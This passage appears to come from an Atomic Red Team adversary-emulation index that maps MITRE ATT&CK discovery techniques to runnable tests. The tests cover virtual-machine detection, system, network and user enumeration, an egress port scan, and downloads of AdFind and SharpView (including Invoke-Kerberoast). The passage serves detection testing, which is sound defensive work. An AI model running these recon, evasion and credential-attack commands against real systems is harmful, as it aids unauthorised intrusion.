        information which helps to detect virtualization. This command will specifically
        attempt to get the CurrentTemperature value from this object and will check
        to see if the attempt results in an error that contains the word supported.
        This is meant to find the result of Not supported, which is the result if
        run in a virtual machine

'
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $error.clear()
          Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue
          if($error) {echo "Virtualization Environment detected"}
        cleanup_command: "$error.clear()\n"
    - name: Detect Virtualization Environment (MacOS)
      auto_generated_guid: a960185f-aef6-4547-8350-d1ce16680d09
      description: 'ioreg contains registry entries for all the device drivers in
        the system. If it''s a virtual machine, one of the device manufacturer will
        be a Virtualization Software.

'
      supported_platforms:
      - macos
      executor:
        name: sh
        elevation_required: false
        command: 'if (ioreg -l | grep -e Manufacturer -e ''Vendor Name'' | grep -iE
          ''Oracle|VirtualBox|VMWare|Parallels'') then echo ''Virtualization Environment
          detected''; fi;

'
    - name: Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)
      auto_generated_guid: 4a41089a-48e0-47aa-82cb-5b81a463bc78
      description: "Windows Management Instrumentation(WMI) objects contain system
        information which helps to detect virtualization. This test will get the model
        and manufacturer of the machine to determine if it is a virtual machine, such
        as through VMware or VirtualBox. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer"
          $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model"
          if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"}
  T1082:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1082
        url: https://attack.mitre.org/techniques/T1082
      - external_id: CAPEC-312
        source_name: capec
        url: https://capec.mitre.org/data/definitions/312.html
      - source_name: Amazon Describe Instance
        url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
        description: Amazon. (n.d.). describe-instance-information. Retrieved March
          3, 2020.
      - source_name: Google Instances Resource
        url: https://cloud.google.com/compute/docs/reference/rest/v1/instances
        description: 'Google. (n.d.). Rest Resource: instance. Retrieved March 3,
          2020.'
      - description: Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved
          October 8, 2019.
        url: https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get
        source_name: Microsoft Virutal Machine API
      description: |-
        An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS <code>systemsetup</code> command, but it requires administrative privileges.

        Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)
      name: System Information Discovery
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-08T10:33:01.066Z'
      created: '2017-05-31T21:31:04.307Z'
      x_mitre_is_subtechnique: false
      x_mitre_contributors:
      - Praetorian
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Instance: Instance Metadata'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      identifier: T1082
    atomic_tests:
    - name: System Information Discovery
      auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667
      description: 'Identify System Info. Upon execution, system info and time info
        will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          systeminfo
          reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
        name: command_prompt
    - name: System Information Discovery
      auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6
      description: 'Identify System Info

'
      supported_platforms:
      - macos
      executor:
        command: |
          system_profiler
          ls -al /Applications
        name: sh
    - name: List OS Information
      auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c
      description: 'Identify System Info

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Output file used to store the results.
          type: Path
          default: "/tmp/T1082.txt"
      executor:
        command: "uname -a >> #{output_file}\nif [ -f /etc/lsb-release ]; then cat
          /etc/lsb-release >> #{output_file}; fi;\nif [ -f /etc/redhat-release ];
          then cat /etc/redhat-release >> #{output_file}; fi;      \nif [ -f /etc/issue
          ]; then cat /etc/issue >> #{output_file}; fi;\nuptime >> #{output_file}\ncat
          #{output_file} 2>/dev/null\n"
        cleanup_command: 'rm #{output_file} 2>/dev/null

'
        name: sh
    - name: Linux VM Check via Hardware
      auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec
      description: 'Identify virtual machine hardware. This technique is used by the
        Pupy RAT and other malware.

'
      supported_platforms:
      - linux
      executor:
        command: |
          if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi;
          if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi;
          if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi;
          if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi;
          if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi;
          if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi;
          if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi;
          if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi;
        name: bash
    - name: Linux VM Check via Kernel Modules
      auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e
      description: 'Identify virtual machine guest kernel modules. This technique
        is used by the Pupy RAT and other malware.

'
      supported_platforms:
      - linux
      executor:
        command: |
          sudo lsmod | grep -i "vboxsf\|vboxguest"
          sudo lsmod | grep -i "vmw_baloon\|vmxnet"
          sudo lsmod | grep -i "xen-vbd\|xen-vnif"
          sudo lsmod | grep -i "virtio_pci\|virtio_net"
          sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
        name: bash
    - name: Hostname Discovery (Windows)
      auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f
      description: 'Identify system hostname for Windows. Upon execution, the hostname
        of the device will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: 'hostname

'
        name: command_prompt
    - name: Hostname Discovery
      auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133
      description: 'Identify system hostname for Linux and macOS systems.

'
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'hostname

'
        name: bash
    - name: Windows MachineGUID Discovery
      auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8
      description: 'Identify the Windows MachineGUID value for a system. Upon execution,
        the machine GUID will be displayed from registry.

'
      supported_platforms:
      - windows
      executor:
        command: 'REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v
          MachineGuid

'
        name: command_prompt
    - name: Griffon Recon
      auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370
      description: "This script emulates the reconnaissance script seen in used by
        Griffon and was modified by security researcher Kirk Sayre \nin order simply
        print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5).
        \ \nFor more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon)
        and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)"
      supported_platforms:
      - windows
      input_arguments:
        vbscript:
          description: Path to sample script
          type: String
          default: PathToAtomicsFolder\T1082\src\griffon_recon.vbs
      executor:
        command: 'cscript #{vbscript}'
        name: powershell
        elevation_required: false
    - name: Environment variables discovery on windows
      auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3
      description: 'Identify all environment variables. Upon execution, environments
        variables and your path info will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: 'set

'
        name: command_prompt
    - name: Environment variables discovery on macos and linux
      auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720
      description: 'Identify all environment variables. Upon execution, environments
        variables and your path info will be displayed.

'
      supported_platforms:
      - macos
      - linux
      executor:
        command: 'env

'
        name: sh
  T1614:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1614
        url: https://attack.mitre.org/techniques/T1614
      - source_name: FBI Ragnar Locker 2020
        url: https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf
        description: FBI. (2020, November 19). Indicators of Compromise Associated
          with Ragnar Locker Ransomware. Retrieved April 1, 2021.
      - source_name: Sophos Geolocation 2016
        url: https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
        description: 'Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals
          target you based on where you live. Retrieved April 1, 2021.'
      - source_name: Bleepingcomputer RAT malware 2020
        url: https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/
        description: Abrams, L. (2020, October 23). New RAT malware gets commands
          via Discord, has ransomware feature. Retrieved April 1, 2021.
      - source_name: AWS Instance Identity Documents
        url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html
        description: Amazon. (n.d.). Instance identity documents. Retrieved April
          2, 2021.
      - source_name: Microsoft Azure Instance Metadata 2021
        url: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows
        description: Microsoft. (2021, February 21). Azure Instance Metadata Service
          (Windows). Retrieved April 2, 2021.
      - source_name: Securelist Trasparent Tribe 2020
        url: https://securelist.com/transparent-tribe-part-1/98127/
        description: 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis,
          part 1. Retrieved April 1, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: System Location Discovery
      description: |2-

        Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)

        Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
      id: attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-20T19:25:49.977Z'
      created: '2021-04-01T16:42:08.735Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling <code> GetLocaleInfoW</code> to gather information.(Citation: FBI Ragnar Locker 2020)

        Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo.
      x_mitre_data_sources:
      - 'Instance: Instance Metadata'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_contributors:
      - Pooja Natarajan, NEC Corporation India
      - Hiroki Nagahama, NEC Corporation
      - Manikantan Srinivasan, NEC Corporation India
      - Wes Hurd
      - Katie Nickels, Red Canary
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - IaaS
    atomic_tests: []
  T1016:
    technique:
      id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: System Network Configuration Discovery
      description: |-
        Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).

        Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1016
        external_id: T1016
      - external_id: CAPEC-309
        source_name: capec
        url: https://capec.mitre.org/data/definitions/309.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-24T13:13:49.594Z'
      created: '2017-05-31T21:30:27.342Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_version: '1.2'
      identifier: T1016
    atomic_tests:
    - name: System Network Configuration Discovery on Windows
      auto_generated_guid: 970ab6a1-0157-4f3f-9a73-ec4166754b23
      description: |
        Identify network configuration information

        Upon successful execution, cmd.exe will spawn multiple commands to list network configuration settings. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          ipconfig /all
          netsh interface show interface
          arp -a
          nbtstat -n
          net config
        name: command_prompt
    - name: List Windows Firewall Rules
      auto_generated_guid: '038263cb-00f4-4b0a-98ae-0696c67e1752'
      description: |
        Enumerates Windows Firewall Rules using netsh.

        Upon successful execution, cmd.exe will spawn netsh.exe to list firewall rules. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'netsh advfirewall firewall show rule name=all

'
        name: command_prompt
    - name: System Network Configuration Discovery
      auto_generated_guid: c141bbdb-7fca-4254-9fd6-f47e79447e17
      description: |
        Identify network configuration information.

        Upon successful execution, sh will spawn multiple commands and output will be via stdout.
      supported_platforms:
      - macos
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if arp command exists on the machine

'
        prereq_command: 'if [ -x "$(command -v arp)" ]; then exit 0; else exit 1;
          fi;

'
        get_prereq_command: "(which yum && yum -y install net-tools)||(which apt-get
          && DEBIAN_FRONTEND=noninteractive apt-get install -y net-tools)\n"
      executor:
        command: |
          if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v netstat)" ]; then netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;
        name: sh
    - name: System Network Configuration Discovery (TrickBot Style)
      auto_generated_guid: dafaf052-5508-402d-bf77-51e0700c02e2
      description: |
        Identify network configuration information as seen by Trickbot and described here https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/

        Upon successful execution, cmd.exe will spawn `ipconfig /all`, `net config workstation`, `net view /all /domain`, `nltest /domain_trusts`. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          ipconfig /all
          net config workstation
          net view /all /domain
          nltest /domain_trusts
        name: command_prompt
    - name: List Open Egress Ports
      auto_generated_guid: 4b467538-f102-491d-ace7-ed487b853bf5
      description: |
        This is to test for what ports are open outbound.  The technique used was taken from the following blog:
        https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/

        Upon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\open-ports.txt.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path of file to write port scan results
          type: Path
          default: "$env:USERPROFILE\\Desktop\\open-ports.txt"
        portfile_url:
          description: URL to top-128.txt
          type: Url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/top-128.txt
        port_file:
          description: The path to a text file containing ports to be scanned, one
            port per line. The default list uses the top 128 ports as defined by Nmap.
          type: Path
          default: PathToAtomicsFolder\T1016\src\top-128.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Test requires #{port_file} to exist

'
        prereq_command: 'if (Test-Path "#{port_file}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{port_file}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "#{portfile_url}" -OutFile "#{port_file}"
      executor:
        command: "$ports = Get-content #{port_file}\n$file = \"#{output_file}\"\n$totalopen
          = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n
          \   $test = new-object system.Net.Sockets.TcpClient\n    $wait = $test.beginConnect(\"allports.exposed\",
          $port, $null, $null)\n    $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n
          \   $totalports++ | Out-Null\n    if ($test.Connected) {\n        $result
          = \"$port open\" \n        Write-Host -ForegroundColor Green $result\n        $result
          | Out-File -Encoding ASCII -append $file\n        $totalopen++ | Out-Null\n
          \   }\n    else {\n        $result = \"$port closed\" \n        Write-Host
          -ForegroundColor Red $result\n        $totalclosed++ | Out-Null\n        $result
          | Out-File -Encoding ASCII -append $file\n    }\n}\n$results = \"There were
          a total of $totalopen open ports out of $totalports ports tested.\"\n$results
          | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n"
        cleanup_command: 'Remove-Item -ErrorAction ignore "#{output_file}"

'
        name: powershell
    - name: Adfind - Enumerate Active Directory Subnet Objects
      auto_generated_guid: 9bb45dd7-c466-4f93-83a1-be30e56033ee
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -f (objectcategory=subnet)\n"
        name: command_prompt
    - name: Qakbot Recon
      auto_generated_guid: 121de5c6-5818-4868-b8a7-8fd07c455c1b
      description: A list of commands known to be performed by Qakbot for recon purposes
      supported_platforms:
      - windows
      input_arguments:
        recon_commands:
          description: File that houses list of commands to be executed
          type: Path
          default: PathToAtomicsFolder\T1016\src\qakbot.bat
      executor:
        command: "#{recon_commands}\n"
        name: command_prompt
    - name: List macOS Firewall Rules
      auto_generated_guid: ff1d8c25-2aa4-4f18-a425-fede4a41ee88
      description: "\"This will test if the macOS firewall is enabled and/or show
        what rules are configured. Must be run with elevated privileges. Upon successful
        execution, these commands will output various information about the firewall
        configuration, including status and specific port/protocol blocks or allows.
        \n\nUsing `defaults`, additional arguments can be added to see filtered details,
        such as `globalstate` for global configuration (\\\"Is it on or off?\\\"),
        `firewall` for common application allow rules, and `explicitauths` for specific
        rules configured by the user. \n\nUsing `socketfilterfw`, flags such as --getglobalstate
        or --listapps can be used for similar filtering. At least one flag is required
        to send parseable output to standard out. \n"
      supported_platforms:
      - macos
      executor:
        command: |
          sudo defaults read /Library/Preferences/com.apple.alf
          sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
        name: bash
        elevation_required: true
  T1049:
    technique:
      created: '2017-05-31T21:30:45.139Z'
      modified: '2021-03-08T10:33:01.083Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      type: attack-pattern
      id: attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: System Network Connections Discovery
      description: "Adversaries may attempt to get a listing of network connections
        to or from the compromised system they are currently accessing or from remote
        systems by querying for information over the network. \n\nAn adversary who
        gains access to a system that is part of a cloud-based environment may map
        out Virtual Private Clouds or Virtual Networks in order to determine what
        systems and services are connected. The actions performed are likely the same
        types of discovery techniques depending on the operating system, but the resulting
        information may include details about the networked cloud environment relevant
        to the adversary's goals. Cloud providers may have different ways in which
        their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation:
        Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities
        and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104),
        \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).
        In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code>
        can be used to list current connections. <code>who -a</code> and <code>w</code>
        can be used to show which users are currently logged in, similar to \"net
        session\"."
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1049
        external_id: T1049
      - source_name: Amazon AWS VPC Guide
        url: https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html
        description: Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019.
      - source_name: Microsoft Azure Virtual Network Overview
        url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview
        description: Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18).
          What is Azure Virtual Network?. Retrieved October 6, 2019.
      - source_name: Google VPC Overview
        url: https://cloud.google.com/vpc/docs/vpc
        description: Google. (2019, September 23). Virtual Private Cloud (VPC) network
          overview. Retrieved October 6, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_version: '2.2'
      x_mitre_contributors:
      - Praetorian
      x_mitre_is_subtechnique: false
      identifier: T1049
    atomic_tests:
    - name: System Network Connections Discovery
      auto_generated_guid: '0940a971-809a-48f1-9c4d-b1d785e96ee5'
      description: |
        Get a listing of network connections.

        Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. Results will output via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          netstat
          net use
          net sessions
        name: command_prompt
    - name: System Network Connections Discovery with PowerShell
      auto_generated_guid: f069f0f1-baad-4831-aa2b-eddac4baac4a
      description: |
        Get a listing of network connections.

        Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'Get-NetTCPConnection

'
        name: powershell
    - name: System Network Connections Discovery Linux & MacOS
      auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2
      description: |
        Get a listing of network connections.

        Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
      supported_platforms:
      - linux
      - macos
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if netstat command exists on the machine

'
        prereq_command: 'if [ -x "$(command -v netstat)" ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "Install netstat on the machine."; exit 1;

'
      executor:
        command: |
          netstat
          who -a
        name: sh
    - name: System Discovery using SharpView
      auto_generated_guid: 96f974bb-a0da-4d87-a744-ff33e73367e9
      description: "Get a listing of network connections, domains, domain users, and
        etc.  \nsharpview.exe located in the bin folder, an opensource red-team tool.\nUpon
        successful execution, cmd.exe will execute sharpview.exe <method>. Results
        will output via stdout.\n"
      supported_platforms:
      - windows
      input_arguments:
        SharpView_url:
          description: sharpview download URL
          type: Url
          default: https://github.com/tevora-threat/SharpView/blob/b60456286b41bb055ee7bc2a14d645410cca9b74/Compiled/SharpView.exe?raw=true
        SharpView:
          description: Path of the executable opensource redteam tool used for the
            performing this atomic.
          type: Path
          default: PathToAtomicsFolder\T1049\bin\SharpView.exe
        syntax:
          description: Arguements method used along with SharpView to get listing
            of network connections, domains, domain users, and etc.
          type: String
          default: "\"Invoke-ACLScanner\", \"Invoke-Kerberoast\", \"Find-DomainShare\"
            \n"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sharpview.exe must exist on disk at specified location (#{SharpView})

'
        prereq_command: 'if (Test-Path #{SharpView}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{SharpView}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest #{SharpView_url} -OutFile "#{SharpView}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          $syntaxList = #{syntax}
          foreach ($syntax in $syntaxList) {
          #{SharpView} $syntax -}
  T1033:
    technique:
      created: '2017-05-31T21:30:35.733Z'
      modified: '2020-03-15T01:03:47.866Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      type: attack-pattern
      id: attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: System Owner/User Discovery
      description: |-
        Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Utilities and commands that acquire this information include <code>whoami</code>. In Mac and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1033
        external_id: T1033
      - external_id: CAPEC-577
        source_name: capec
        url: https://capec.mitre.org/data/definitions/577.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

